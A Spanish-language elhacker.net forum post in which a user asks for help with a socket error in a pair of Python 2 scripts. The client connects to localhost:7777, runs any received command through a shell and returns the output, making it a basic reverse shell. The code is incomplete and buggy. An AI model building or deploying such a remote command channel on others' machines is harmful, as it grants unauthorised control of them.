Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: sytem200 en 28 Septiembre 2019, 01:50 am



Título: error cuando mando un comando
Publicado por: sytem200 en 28 Septiembre 2019, 01:50 am
tengo un cliente con un servidor  se conectan pero cuando mando un comando dir no me funciona y me estos errores

Código:
error cuando ejecuto el comando dir

corriendo servidor y esperando conexiones
conexion recibida de:127.0.0.1
()-#:dir
Traceback (most recent call last):
  File "server.py", line 34, in <module>
    shell()
  File "server.py", line 15, in shell
    res=targer.recv(1024)
socket.error: [Errno 10053] Se ha anulado una conexižn establecida por el software en su equipo host


servidor
Código:
#!/usr/bin/env python
#_*_ coding: utf8_*_

import socket

def shell():
    current_dir=targer.recv(1024)
    while True:
        comando=raw_input("()-#:".format(current_dir))
        if comando == "exit":
            targer.send(comando)
            break
        else:
            targer.send(comando)
            res=targer.recv(1024)
            print(res)
   
def upserver():
    global server #variables globales
    global ip
    global targer
   
    server=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('localhost', 7777))# lo ponemos a la escucha con un puerto
    server.listen(1)
   
    print("corriendo servidor y esperando conexiones")
   
    targer, ip=server.accept() #recibimos un objete de la conexion y una lista de datos
    print("conexion recibida de:"+ str(ip[0]))
   
upserver()
shell()
server.close()


cliente
Código:
#!/usr/bin/env python
#_*_ coding: utf8_*_


import socket
import os
import subprocess

def shell():
    current_dir=os.getcwd()
    cliente.send(current_dir)
    while True:
        res=cliente.recv(1024)
        if res == "exit":
            break
        else:
            proc=subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            resul=proc.stdout.read() + proc.stderr.read()
            cliente.send(resul)
    re=cliente.recv(1024)
    print(res)
    cliente.send('hola mundo')

cliente=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect(('localhost',7777))
cliente.close